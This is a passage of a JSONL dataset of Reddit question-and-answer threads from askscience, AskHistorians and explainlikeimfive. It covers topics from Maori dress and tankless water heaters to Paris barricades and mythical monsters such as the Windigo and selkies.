were rules about who was allowed to touch whose hair, and that an important figure could be recognized by his or her hairstyle.\n\nFinally, M\u0101ori did not wear shoes, or at least did so rarely. When they were to cross harsh, rocky terrain that could cut their feet, they wove sandals out of flax - these sandals were only temporary, and multiple pairs would have to be made for long journeys.", "At least in Southern America, the travelers reported that the natives were naked, apparently even without footwear as it is described for instance in [Hans Staden's account](_URL_0_).", "I believe the common image for the \"naked savage\" comes from Melanesia, which can be roughly defined as the scatter of islands around Papua. For example, in many areas of Vanuatu the only item of clothing is the [namba](_URL_1_), a sheath wrapped around the penis and held up by a string around the waist. The size of the namba can even be a form of group identification, with divisions between \"big namba\" and \"little namba\". Around the region there area peoples with similar forms of attire, such as the [Dani of Papua](_URL_0_). In many cases, the advent of Western imperialism came along with demands for Western forms of modesty, often with quite negative consequences, as not only were the clothes hot, they also inflamed the skin and provided a refugee for parasites.\n\nAs for shoes, you don't need them if you have never worn them, as the soles of feet build up thick calluses (think of it this way: how many lions or apes do you see wearing shoes?). In a sense, our need for shoes is not innate, but is rather socially constructed.", "Loincloths were common in historical Native North American male dress.  Men still wear them for some ceremonies or for powwow dress.  Check out [this](_URL_0_) article that also includes some archival photos from the Marquette University archives. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.waikato.ac.nz/students/home-and-away//kapahaka1.JPG.jpeg", "http://www.tepapa.govt.nz/SiteCollectionImages/Exhibitions/Kahu-Ora-Atareta-Sciascia-wearing-kahu-kuri-float.jpg", "http://c8.alamy.com/comp/AK7RMH/maori-man-in-grass-skirt-whakarewarewa-thermal-reserve-rotorua-bay-AK7RMH.jpg", "http://www.teara.govt.nz/en/photograph/40978/maro-waist-girdle"], ["https://archive.org/details/staden"], ["http://www.papua-adventures.com/images/pic36.jpg", "https://en.wikipedia.org/wiki/Namba_(clothing)#/media/File:Landdiving7.jpg"], ["http://epublications.marquette.edu/cgi/viewcontent.cgi?article=1035&amp;context=lib_fac&amp;sei-redir=1&amp;referer=http%3A%2F%2Fwww.bing.com%2Fsearch%3Fq%3Dloincloth%2Bcherokee%2Bsite%253A.edu%26qs%3Dn%26form%3DQBRE%26pq%3Dloincloth%2Bcherokee%2Bsite%253A.edu%26sc%3D0-0%26sp%3D-1%26sk%3D%26cvid%3DD7464F8EB62241DAB21D642BAECFB9B1#search=%22loincloth%20cherokee%20site%3A.edu%22"]]}
{"q_id": "fybts6", "title": "Why are the first 2 leaves on seedlings a different shape to all the rest?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/fybts6/why_are_the_first_2_leaves_on_seedlings_a/", "answers": {"a_id": ["fmzhaoj"], "score": [50], "text": ["They are called cotyledons, and actually only a subgroup of flowering plants have two, the dicots. Monocots like grasses have only one.\n\nThey are embryonic leaves that differ from the ones formed later because they have additional functions, for example storage or access to nutrient reserves of the seed and protection of the early stem."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4krgc9", "title": "Were the Minutemen essential to the American victory of the Revolutionary War?", "selftext": "I had to write a paper last week regarding the Minutemen, specifically their efforts in the war and how they sealed the American Victory, however I found very little to support this. I was wondering if this is true at all, or even if the contrary is true.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4krgc9/were_the_minutemen_essential_to_the_american/", "answers": {"a_id": ["d3huzv6"], "score": [2], "text": ["Well just to clarify, are you speaking of Militia in general, New England Militia in general, or those companies within the Militia of Massachusetts meant as a Quick Reaction force, which from all accounts I have seen was approximately 1/4 to 1/3 the total?\n\nI assume it is the last one, but just wanted to be sure, and for the benefit of any other respondents. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "41gyoi", "title": "After the collapse of the Ottoman Empire's incursion into eastern and central Europe during the Great Turkish War, what happened to the Turkish civilians? Did they move back to Anatolia, or are their native Europeans today that are ethnically Turkish?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/41gyoi/after_the_collapse_of_the_ottoman_empires/", "answers": {"a_id": ["cz2jn3r"], "score": [3], "text": ["The Ottoman invasion and conquest of the Balkans, for example, resulted in Ottoman control of these regions. However, very few of the Ottomans were ethnically Turkish, so the Ottomans who remained in Europe were the same kind of ethnic mixture as obtained in Anatolia. The original Ottoman conquest of Anatolia was made up of something like 30000, in a region with a population of perhaps 4000000, so the Ottomans became largely a military ruling elite, with a population that was essentially of the same ethnicity as existed before the Ottoman conquest, the people being Greeks, Cappadocians etc etc. Similarly, the people of the Balkans remained essentially the same as before the conquest, Greeks, Albanians, Serbs, Croats, Vlachs etc. Some assimilated to Ottoman society and culture more than others, so some adopted Islam, and \"turned Turk\", others remained Christian. Once the Ottoman Empire in Europe was destroyed, many of the \"Turks\" were massacred by their Christian neighbours, and many fled to the rump of the Ottoman Empire. These people were culturally \"Turks\" but not really ethnically. Misha Glenny's book on the Balkans, \"Balkans: Nationalism, War and the Great Powers, 1804-1999\" goes into this in some detail."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2c9pro", "title": "how do tankless water heaters work?", "selftext": "And since they do work, why bother with a tank-style water heater at all? It seems wildly inefficient to keep re-heating a huge tank of water that may or may not get used before it cools down again. My house was built in 2008 and I wonder why the builder didn't choose tankless.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2c9pro/eli5_how_do_tankless_water_heaters_work/", "answers": {"a_id": ["cjdb5we", "cjdbp8h", "cjdbpwp", "cjdi6l8", "cjdjqub"], "score": [4, 4, 2, 2, 2], "text": ["I'm no expert by any means, but I believe tankless heaters heat the water via some sort of coil or heating element. Although they are much more effecient, they tend to be a bit more pricey.", "There are pros and cons to either approach.  \n\nA tankless water heater uses a very powerful (high BTU) burner to heat the water only when there is a demand for it.  So when you open up the faucet for hot water, the heater kicks on.  \n\nA lot of people assume that this means instant hot water, but it does not.  You have to wait for the manifold  &  pipes to heat up before you get truly hot water out the tap.  \n\nMy brother in law has one, and it can sometimes take 30 seconds to a minute before the water runs hot.\n\nThe benefit is that the burner is only on when it's called for.\n\nA water heater with a tank, uses a much lower BTU burner and heats the water in the tank slowly and then keeps it hot.  \n\nThe benefit of this, is that the water is already hot, plus the pipes close to the heater are warm, so when you open the faucet, you get hot water pretty quick.  \n\nThe down side to a tank, is that the burner will constantly be cycling on and off to keep the tank hot.\n\nThe tankless systems are becoming much more popular, but in reality, they aren't as hugely beneficial as many people think.  It takes a lot of energy to run that big burner, and it's not very efficient to keep turning it on and off and on and off again.  \n\nI believe that they can be more efficient, but it really depends on how you use it.  If you aren't in the house for long periods of time, then a tankless is great.  But when you do use it, it's best if you run it constantly for a period of time.\n\nWhat they are really good for, is several people having to bath or shower one after another, because it never runs out of hot water, like a tank will do.   \n\nYou do have to make sure that the tankless heater can meet your peak usage needs.  For example, if you ever have a shower while the clothes washer or dishwasher is running, or two showers....then you'll need a higher end model that can handle that demand.  \n\nPlus, they are (last I checked) quite a bit more expensive than a tank water heater....especially if you are talking about replacing a system in an existing house, which might require a fair bit of work to install.  \n\nModern tanks are also insulated pretty well and have very efficient burners.  So they are still a very viable option.\n\nI replaced my furnace and water heater 4 years ago.  I was set on a tankless heater but when I talked to the plumber, he took lots of time discussing it with me and recommended that I go with a tank, which was a smaller sale for him, but a better option for me.  \n\nAlso, if I recall correctly, there are hybrid systems that have a small tank for giving you hot water quickly, but use an on-demand burner for 'endless' hot water. ", "First of all, the builder has zero incentive to install a tankless water heater unless there's a demand for it and he can pass down the cost. Most people don't know/don't care. Builders get cheapest 'builder grade' everything to save money and increase profits.\nTankless water heaters require a bigger gas line/electrical hookup which also adds to the cost.\nThe energy in US doesn't cost that much currently, so in reality it will take a long time to recoup tankless water heater's high price. Most likely longer than the heater will be in service.", "Rant. The hot water in the shower only works if you turn another faucet on. Apparently the tankless heater only kicks on if a certain amount of water is flowing through the system. \n\nThe company told me to remove the low flow water saving feature from the shower head. Apparently this is a common complaint because they knew the answer the second I called about it. So you have to remove a water saving device in order to use the energy saving device...\n", "It's about trade offs for different needs. A tank heater heats up a mass of water and keeps it hot until it's needed, advantages include using off peak power which can reduce costs significantly. A tankless system has the advantage that you're not keeping water hot for long periods.\n\n\nSo it comes down to how much off peak power saves you, how fast will the stored water go cold and how often you need hot water. So for a household with 5 people each taking 1-2 showers a day as well as other normal hotwater stuff who can take advantage of off peak power (the savings off peak power offer vary a LOT between localities) a tank is the way to go. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "tfcie", "title": "If the spinal cord was used like an Ethernet cable...how fast would it transfer files?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/tfcie/if_the_spinal_cord_was_used_like_an_ethernet/", "answers": {"a_id": ["c4m52vn", "c4mav79"], "score": [11, 2], "text": ["[This](_URL_0_) forum post might not be rigorous enough, but a good starting point.\n\n > 0.5 kilobits/second and spinal cord has about 20 million axons\n\nNow I suppose you'll have to also consider where on the spinal cord, since at the top is 31 nerve bundle pairs (33 segments) that branch off as you go lower, and I also don't think you can compare action potentials with binary 0 and 1 states.  You might also have a different estimate for a burst rate versus a sustained bandwidth.", "There are two paths for transmitting sensitive information from the receptors to the brain. The dorsal column-medial lemniscal system sends the information for highly located and ultrafine touch, vibration, movement of an object over the skin and pressure. Its speed is from 30 to 110 m/s. The anterolateral system, which sends pain, temperature, rough touch and sexual sensations, sends the information at a speed of 5 to 40 m/s because the fibers it uses are thinner and do not have myelin (class C fibers), while the dorsal column-dorsal lemniscal has myelinic fater fibers (class A)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://sci.rutgers.edu/forum/showthread.php?t=70993"], []]}
{"q_id": "7uc5tu", "title": "Why does Aluminium's strength increase at low temperatures?", "selftext": "Most metals become brittle at low temperatures. Why does Aluminium instead increase in strength  as it cools?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7uc5tu/why_does_aluminiums_strength_increase_at_low/", "answers": {"a_id": ["dtjk6yx"], "score": [10], "text": ["I want to start with a note on nomenclature. To a material scientist \u201cstrength\u201d refers to the amount of force (or stress) it takes to deform a specimen. Brittleness or ductility refers to the amount of deformation (or strain) a specimen can support before fracture. These are two fundamentally different aspects of material performance that are not always correlated. Put another way materials can be strong or weak and independently ductile or brittle. \n\nNow onto aluminum, the US Air Force commissioned a study from the General Electric research lab that has a good discussion of the mechanisms at play [full report here](_URL_0_) . Without diving too much more into terminology we can examine figures 4 and 5 (page 15)  to observe that for the aluminum they tested both strength and ductility improved at low temperatures.  They ascribe at least the strengthening behaviors to the ability of the face centered cubic matrix to pin the impurities rather than allow then to propagated which leads to fracture. At lower temperatures this effect is exaggerated. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["www.dtic.mil/dtic/tr/fulltext/u2/090523.pdf"]]}
{"q_id": "2u18g1", "title": "Hypothetically speaking would the earth be able to last forever as we know it? ie. Hot core, liquid water etc. Assuming all external conditions were perfect such as no meteor collisions, no imminent supernova of the sun, no continuous universal expansion causing the earth to freeze etc.", "selftext": "Sorry if the question doesn't make sense, i tried my best to word it correctly.\n\nEdit:Very interesting responses from everyone. \n\n/u/OwlEmperor gave an answer most along the lines of what I was looking for.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2u18g1/hypothetically_speaking_would_the_earth_be_able/", "answers": {"a_id": ["co48hbc", "co4ecx7", "co4jbkb", "co4jiv3", "co4kuqm", "co4nm0u", "co4r6el", "co4t0my"], "score": [1265, 108, 41, 5, 21, 2, 12, 6], "text": ["No. The Earth is being internally heated by radioactive decay, so once that is done, it would start to solidify and our magnetic field along with atmosphere will disappear. ", "In addition to the top comment about radioactivity, the sun's another important factor. \n\nOur sun does have a natural lifecycle and  can't really be considered an 'external condition' as if it's removed from the equation, the Earth can't last at all as we know it.\n\nIt's about halfway along its main life sequence arc, having formed 4.5 billion years ago and expected to slowly turn into a red giant in another 5.5 billion years or so.\n\nThings will get pretty toasty here when that gets around to happening.", "Also if none of those previous things takes us out, we can start looking in time scales of quintillion years, where matter decaying into energy becomes relevant. One of the current theories of the universe's death is everything, even black holes, all decaying into energy, becoming ever so scarce. ", "The comments on radioactive heating are accurate, but it's important to note that the earth is cooling, albeit slowly. The exact percentage of surface heating due to radioactive decay is hard to quantify, but it's likely less than half of the total heating rate. The rest of the heating comes from the convective transfer of heat from the core and mantle, which is residual heating from formation and continued  gravitational collapse. The rate of cooling of the earth is what is used in part to determine its age. \n\nTldr: earth is cooling, and radioactive decay is no longer enough to keep it from cooling. \n\nThis is a great paper on the subject: _URL_0_", "No, our core will cool, albeit it won't happen for billions of years. Also our rotation is slowing down at a very slow rate, given enough time days will last month's and the world would be dead. we inevitably need to evacuate, but we got some time.", "First of all, nothing will last 'forever' - for that the universe needs to be indefinitely static and stable, which is **far** from the truth: at present dark energy is literally ripping space apart at an exponential rate. \n\nSecondly, as mentioned in several comments, Earth's core isn't stable either, and will decay out pretty soon.\n\nThirdly, the sun will become a red giant at some point in its life, and will likely engulf the Earth.\n\nFourthly, if a [supernova event occurs anywhere nearby](_URL_1_), Earth will be **annihilated in seconds**.\n\n[*Interesting video on possible fates of the universe.*](_URL_0_)", "Scifi author Charles Stross tackled this with his novella, Palimpsest.\n\nA time-traveling organization re-engineers the solar system with an eye towards *extreme* longevity.  First they send out probes to bring back several hundred gas giants and brown dwarfs from the local stellar neighborhood.  Then they siphon off the bulk of the sun's mass and drop a black hole into what's left.  Then they move Earth right up close to the singularity, so that it is warmed and illuminated by the accretion disc, which liberates energy much more efficiently than a stellar core.  The other planets, the siphoned sunstuff, the gas giants and brown dwarfs, are all used to fuel the black hole for eons.  Then they slap a big filter in between to block out cosmic rays, UV, x-rays and gamma rays.\n\nThey ensure that Earth remains habitable and inhabited for about 2 **trillion** years.  You could get a similar lifespan from an ordinary red dwarf, but the light would be a feeble thing, and Earth would have to be so close that it would be tidally locked very quickly.", "The Earth won't last as we know it though. The internal movement of the plates will continue to reshape the surface, eventually slamming the continents back into each other and in that process of millions of years the Earth's weather will also change completely and thus the earth in 100 million years will not be like the Earth as we know it. \n\nIt may be much colder or much warmer and wetter as it was for the Dinosaurs. New plants, bacteria and animals will have evolved by then. A significant part of the Earth as we know it, is entirely internal, and there is nothing that can be done to preserve Earth as we know it for millions of years. We live on a couple mile thick slice of stable dirt sitting on top a giant ball of magma. Things appears stable, but they really aren't. \n\nIt's important to realize there is no default weather for Earth. Climate is very much controlled by the shape of the sea floor and configuration of the continents. It's quite possible that in some configurations Earth's weather would be uninhabitable on the surface, such as during Snowball Earth. This would probably change again and warm as the continents and sea floor shifts, but it could last million of years or even become rather permanent. \n\nEarth won't remain the same, but humans are one of the most well adapted creatures to climate change, particularly among complex organisms and surface organisms. It's going to be really hard to kill off humanity as long as some semblance of life still exists on the planet. \n\nWithout the proper climate, potentially caused by a unfavorable continental arrangement, we could easily find ourselves a giant ball of ice, pretty much only inhabitable underground and with modern technology. \n\nOne thing we can be certain of, the Earth will not last forever as we know it. It's changing as we speak and we'll eventually see ocean level much higher and then eventually glacification again and likely back and forth until Earth's climate locks up into one state or another.\n\nSo.. actually we may need those occasional external events to jump start the climate and life at times when Earth's internal climate arrangement is not friendly to life. For instance.. Snowball Earth would probably benefit from a large meteor or comet strike because well, it can't get much worse but generally climate will shift back to whatever the continental arrangement demands until that arrangement shifts enough to allow significant change. \n\nThis is one reason we see such huge climate changes over millions of years with regularity. Even if you had the same atmosphere and solar conditions, your still always fighting an every changing surface, mountains moving both on the surface and underwater, changing wind patterns and ocean patterns. \n\nNothing stays the same :P\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://courses.seas.harvard.edu/climate/eli/Courses/EPS281r/Sources/Earth-age-and-thermal-history/more/Davies-1980.pdf"], [], ["https://www.youtube.com/watch?v=4_aOIA-vyBo", "http://en.wikipedia.org/wiki/Near-Earth_supernova"], [], []]}
{"q_id": "4xrue7", "title": "airline alliances", "selftext": "I most notably fly between airlines from two alliances, Star Alliance and Sky Team. What is the purpose of them, how do they benefit the airlines, and how do they benefit me?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4xrue7/eli5_airline_alliances/", "answers": {"a_id": ["d6hx5dy"], "score": [7], "text": ["It benefits them by letting them market to more people, and it can benefit you by having a single airline to deal with. This is done through codeshares. \n\nCodeshare is when an airline assigns a flight number to a flight operated by another airline. For marketing reasons it all looks like one airline, even though it's operated by different ones. Let's take an example. \n\nLet's say you want to fly from Dallas to Singapore. However, there is no airline that flies to both cities. Through airline alliances and codesharing, it looks like there are. American Airlines flies from DFW to Narita airport in Tokyo. And American is in an alliance with Japan Airlines, which operates flights between Narita and Singapore. Even though that is a JL flight, when you book it with American it will have an AA flight number. \n\nIn this way, the members of the alliance can appear to go to pretty much every airport in the world. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8c67u0", "title": "has vacuum negative weight in air, because it is lighter than air itself? would a vacuum balloon fly like a helium balloon?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8c67u0/eli5_has_vacuum_negative_weight_in_air_because_it/", "answers": {"a_id": ["dxcflbr", "dxcfo4y", "dxcfoms", "dxcfpfy"], "score": [3, 2, 12, 8], "text": ["A vacuum balloon would have nothing in it. So the pressures of outside would crush it?", "Vacuum is nothing, so it has no physical properties. A \"vacuum filled\" ballon is just flat. Also fun fact: vacuum is all around us and in us, because there's nothing between atoms and molecules that make up everything. (Not even starting with dark matter).", "Theoretically a vacuum balloon would be lighter than a helium balloon but the structure of the balloon would have to be very heavy to resist the difference in pressure from the surrounding air, so basically it wouldn\u2019t float. ", "Yes, a vacuum is buoyant, because it's lighter than air.\n\nHowever, if you try to hold a vacuum in something, it needs to be strong, because otherwise the air pressure outside will crush it. Sea level air pressure is about two elephants per square metre, which is a lot.\n\nIf you tried to fill a balloon with vacuum, all you get is a deflated balloon.\n\nLight gases, such as helium, are used because they have their own pressure to balance out the air pressure."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "6766r3", "title": "Historically, why do Parisians love blockading the streets of their city?", "selftext": "It seems like that in every revolution, or even protest in the latter half of the 20th century, that every Frenchman's natural instinct is to erect a barricade. How come?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6766r3/historically_why_do_parisians_love_blockading_the/", "answers": {"a_id": ["dgok0my"], "score": [9], "text": ["\n\nDuring the XVIth, some Parisian neighborhoods would seal themselves off at night using huge chains stretched across the streets. The goal is to control the flux of people at night that could disturb the habitants : it's a security measure. Same could be done during the day in case of riots, in order to protect your neighborhood. Some inhabitants could stay behind the chains to control and if need be repel people. On the 12th of May 1588, Paris revolts against King Henri III, because of rumours that he would name for successor Henri of Navarre, the future Henri IV, a protestant. France was at the end of the Wars of Religion, a fifty years or so of civil war that devastated the kingdom. The catholic Parisians mobilize and reinforce their chains to defend against the kings troops. And they used pretty much everything they could find : barrels filled with sand and stones, timber etc. In French, a barrel is a \u201cbarrique\u201d. Hence the name barricade. \n\nThe 19th century saw a wide use of barricades during the numerous revolutions and uprisings which took place in Paris. Insurgents built barricades in 1827, 1830, 1832, 1834, 1839, February and June 1848, 1849 and 1851. The rise in use of artillery against insurgents made barricades pretty much obsolete, but Parisians kept building them. Barricades have a heavy symbolic weight with them : the insurgents are taking the street back. Building a barricade demands work amongst a team, you need to defend it together, they are a tool of revolutionary mobilization : a lot of barricades were built among neighbors, and allowed to \u201crecruit\u201d people from other neighborhood. You use a pre-existing local solidarity system, and turn it into a tangible symbol of your insurrection against the State. Barricades are the expression of collective will. \u201cHere we stand\u201d. \n\n**Source :** Corbin Alain et Mayeur Jean-Marie (dir.), *La Barricade*, Paris, Publications de la Sorbonne, \u00ab Histoire de la France aux XIXe et XXe si\u00e8cles \u00bb, 1997, 522 p.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "18ebfd", "title": "What are some less known(to the average redditor) but interesting mythical monsters?", "selftext": "I find mythical monsters very interesting, particulary those who deal with taboo issues such as sexuality.\n\nTwo examples from nordic lore:\n\n**\"Skogsr\u00e5\" or Huldra**\n_URL_1_\n_URL_3_\n\nA beautiful woman, sometimes naked, that seduces wanderers and hunters in the forest. Seen from behind, her true form appears, either hollowed out lik an old tree or ugly. In some parts of sweden its only a foxtail that peeks out from her dress that can warn her victims.\nCan also give gifts from the forest, such as luck with hunting.\nSteals the souls of the men she beds.\n\nAlso, this creature has a counterpart in the folklore of the coast, where she comes to sailors and fishermen and trades their soul for sex, luck with fishing and most importantly for the fisherman - the promise that the sea will never take him, no matter how horrible the weather.\n\nTo understand the implications of this story, you must know about the superstitions regarding women and ships that prevailed  for a long time in sweden. No woman where allowed onto a ship, even meeting a woman while on the way to your boat was enough to bring bad luck.\n\n\n\n**\"N\u00e4cken\" The Neck** \nA young attractive naked male, appearing in water streams, often depicted as playing an instrument, often a fiddle.\nIs said to lure people into the stream, where he drowns them.\n\nIt is said that the melody of his fiddle is magical in itself, any human who learned to play it was cursed, as he would never be able to stop playing it. Any who dances to the tune, was unable to to stop, and they would play and dance until they died, or where lured down into the waters.\n\nThe tales also said that for the price of your soul and/or blood, he could teach you to play the fiddle as masterly as him. For this to happen, you would either seek him out by the stream, or according to some stories at crossroads. It was espescially likely to meet him during the midsummer festivities.\n\n_URL_0_\n_URL_2_\n\nEDIT:\n\nWow, this is far more responses than I expected, very much appreciated. Now, seeing as I was lazy and tired yesterday, I feel I didn't write quite enough about \"my\" creatures - so I'll add some.\n\nEDIT 2: Just added/corrected some info on the Skogsr\u00e5", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/18ebfd/what_are_some_less_knownto_the_average_redditor/", "answers": {"a_id": ["c8e11o5", "c8e2nzr", "c8e30j5", "c8e30p1", "c8e3i1w", "c8e3vru", "c8e43xn", "c8e47au", "c8e4i9o", "c8e4stq", "c8e5828", "c8e5nwo", "c8e5upr", "c8e5x5u", "c8e69d6", "c8e6xr9", "c8e7cor", "c8e7md6", "c8e7oey", "c8e7oyd", "c8e7q0g", "c8e7sgf", "c8e83nu", "c8e8gl3", "c8e8r3g", "c8e9a4n", "c8e9bfx", "c8e9hop", "c8e9xtt", "c8eaoid", "c8eaxlq", "c8eb0bv", "c8eb679", "c8eb90g", "c8ecyy6", "c8ed0kv", "c8ed951", "c8edym9", "c8eedr7", "c8eerf1", "c8eeyz0", "c8ef40l", "c8ef5kb", "c8efa23", "c8efms7", "c8efq3j", "c8efujp", "c8emuv4", "c8eqxxa", "c8eue4y"], "score": [213, 230, 41, 21, 87, 53, 86, 12, 104, 30, 152, 55, 118, 18, 37, 35, 21, 9, 12, 18, 66, 5, 13, 4, 16, 6, 9, 4, 9, 3, 11, 16, 8, 10, 2, 3, 2, 8, 3, 5, 3, 8, 4, 6, 8, 2, 2, 2, 2, 4], "text": ["I always liked the [Windigo of Algonquin myth.](_URL_1_)  It was said to be a malevolent spirit that would possess those who practiced cannibalism, but also had a physical variant.  From the wiki:\n\n > *The Weendigo was gaunt to the point of emaciation, its desiccated skin pulled tautly over its bones. With its bones pushing out against its skin, its complexion the ash gray of death, and its eyes pushed back deep into their sockets, the Weendigo looked like a gaunt skeleton recently disinterred from the grave. What lips it had were tattered and bloody [....] Unclean and suffering from suppurations of the flesh, the Weendigo gave off a strange and eerie odor of decay and decomposition, of death and corruption.*\n\nI've also liked stories of the [Navajo skin-walkers.](_URL_0_)  Essentially they are witches of a certain type, of which there are a few in Navajo culture, who can take on the form of an animal and steal the souls of others by locking eyes with their victims.  There are a few threads from a year or so ago with some self-identified Navajo folks talking a bit more in depth about this.", "You may be interested in looking for a copy of 'The Book of Imaginary Beings' by Jorge Luis Borges - a compendium of interesting facts and stories about mythical beasts.\n\nI picked one at random and came across the Catoblepas. First described by Pliny the Elder, apparently anything which looks upon this animal's eyes would be instantly killed. Fortunately, its head was so big it couldn't lift it off the ground and so could never look at anybody.", " > Seen from behind, her true form appears, either hollowed out or ugly. In some parts of sweden its only a foxtail that peeks out from her dress that can warn her victims.\n\nHuh, that's quite odd.  In Asian mythology, there is an analogous fox-spirit (e.g. [kitsune](_URL_2_)/[huli jing](_URL_0_)/[kumiho](_URL_1_)) that has the same giveaway: the damn tail.  \n\nThis also touches on your your comment about sexuality, as wikipedia points out: \n\n >  > *In modern Mandarin and Cantonese profanity, the term huli jing is a derogatory expression describing a woman who seduces a married or otherwise romantically-involved man; a homewrecker.*", "This is a bit of a tangent but at what point does something get considered a mythical creature? Would the creatures from [*The Shadow Over Innsmouth*](_URL_0_) or the [*The Dunwich Horror*](_URL_1_) count or is it too recent? Does something have to be taken up as a folk tale before it can be counted as a mythology?\n\nBut ya, the creatures from those are great but I can't explain them without spoiling the stories.", "How about the [*encantado*](_URL_0_), of Brazilian folklore? It's kind of like a werewolf, only in reverse. Oh, and it's originally a river dolphin from a magical underwater kingdom, not a wolf. They are supreme musicians, are attracted to parties, and like to have sex with humans. They can control storms and inflict insanity. They kidnap people who go near a river after 6PM alone. Pretty much the best shapechangers in all mythology.", "The Mare of Germanic, or Scandinavian folklore, which would ride upon the chest of its victims at night inducing 'nightmares'\nLikely inspired by instances of sleep paralysis and the feeling of helpless terror it creates.\nAlso 'The encyclopaedia of things that never were' was one of my favourite books as a child.", "Maezt-Dar L\u2019Oudou: The \"Goat of the Lavatories\" is/was a supernatural Djinn in Morocco, which appears as a very angry goat in bathrooms.\n\nStikini:  (Seminole myth) People who at night would puke out their organs, turn into owl-like creatures and then take out the hearts of sleeping men through their mouths, which they then cooked in a pot.\n\nSource: [Giants, Monsters and Dragons](_URL_0_) by Carol Rose", "I've always liked the Nasnas -- though I had to look up the name -- it's a spirit or devil with one eye, one leg, and one arm. So it's half a person, basically. \n\nThere's a very short wikipedia page on it [here](_URL_0_). It *does* at least provide a source or two, most famously *The Thousand and One Nights*.", "One from my area of knowledge is the Golem of Prague.  The legend usually goes that when persecution was immanent, the Maharal (a medieval Rabbi) created a massive person out of clay, and brought him to life with some magic using the divine name and putting a scroll in his mouth.  But, as might be anticipated, something went wrong (exactly what varies by story), and the Maharal had to \"deactivate\" the Golem.  But his lifeless clay body still lurks in the attic of the [Old New Synagogue](_URL_1_) in Prague, ready to be brought back to life when the Jews are in trouble.  Enhancing the legend is the fact that the Gestapo neither destroyed the synagogue nor confiscated the documents in the attic, and there's a story that a Gestapo agent mysteriously died after entering the attic.\n\nAlso, the biblical legendary animals--the behemoth, ziz, and leviathan--are weird and interesting.  Behemoth is a giant land animal, ziz is a giant flying creature, while leviathan is a sea monster.\n\nedit: Have a look [here](_URL_0_) for some parallel narratives in Jewish culture.  The Prague Golem is the classic Golem story, but it's not unique.  The basic story of Rabbis using mystical power to create clay semi-alive beings has been floating around for a while.", "I've always found the [karakasa obake](_URL_0_) to be rather ridiculous. They're literally old parasols with one eye, one leg, and a really long tongue. \n\nLikely the most useful tsukumo-gami is the [kameosa](_URL_1_), a possessed sake bottle that despite it's horrific appearance, kindly overflows with rice wine so you can get nice and drunk.", "Witches are pretty cool. The basic template is found all over the world: people with secret supernatural powers that they use to cause others' misfortunate. But its specifics can be very, very different from our own familiar cackling crone. My favourites are witches in Temne culture (Sierra Leone), which were pretty freaky to begin with and have accrued all sorts of fascinating syncretic elements and political commentary over the years (I'm basing this on an article from 1997 which was based on fieldwork in the 1970s, so it's probably not completely up to date).\n\nWhat defines a Temne witch is that they have access to a parallel dimension called the Place of Witches. The Place of Witches is sort of a surrealist version of a modern Western city. There are skyscrapers made of diamonds and luxurious houses made of gold. Everyone drives around in Mercedes-Benzes and can fly in superfast witch planes to anywhere in the world. The shops sell modern electronics and consumer goods, but also kebabs made from human flesh, magic gowns and witch guns that fire grains of sand.\n\nWhen they're not in the Place of Witches, witches are just ordinary people. Well, not totally ordinary\u2014they have an extra pair of invisible eyes and a second stomach for digesting human flesh\u2014but they *look* like ordinary people. You become a witch by eating human flesh, and sometimes witches try to trick children into joining them by offering it to them in their dreams, disguised as ordinary meat. If you fall for it, you are inducted into a witch mutual society. Like real world financial mutual societies, you have to pay in to keep getting the benefits. The society meets regularly and each member has to provide a victim to be eaten by the group; if they fail, they're the ones that are eaten. The victims are obtained by night, when witches leave their body and extract the heart and blood of their neighbour's children while they are sleeping. These are stored in the Place of Witches until the next meeting and in the meantime the child walks around as an empty shell. When the heart is consumed in the Place of Witches, the child drops dead.\n\nThe benefits are those witch-gadgets from the Place of Witches. A witch gun can kill someone instantly, from any distance. Invisible whips can be used to debilitate people. The magic gowns allow you to transform into a wild animal. Witches also have the ability to secretly transfer crops between fields and money between bank accounts, and to transform worthless objects into planes and other vehicles.\n\nThey aren't inherently evil, though. All modern technology ultimately derives from the Place of Witches, and Western countries are seen to have prospered because our witches are public-minded and use their powers openly for the greater good, as opposed to African witches which employ them secretly for personal gain.\n\nSource: Shaw, R. 1997. [The Production of Witchcraft/Witchcraft as Production: Memory, Modernity, and the Slave Trade in Sierra Leone](_URL_0_). *American Ethnologist* 24(4).", "The [selkie](_URL_0_) freaked me out when I was a kid. Shape shifting seal people stories from, originally, the Shetlands and Orkneys in northern Britain, though I heard Selkie stories from Irish relatives.  Male selkies try to seduce unhappily married human women, while female selkies will take off their seal skin to frolic naked on beaches and if a man finds and hides her skin, she has to marry him and serve him.  If she finds her skin (and she inevitably does), she will disappear back to the sea.  ", "Because this is such an open question, I'm going being a bit more strict than usual in enforcing are requirement that top-level comments be **comprehensive**, to keep this from going full /r/AskReddit. So if you want to tell us 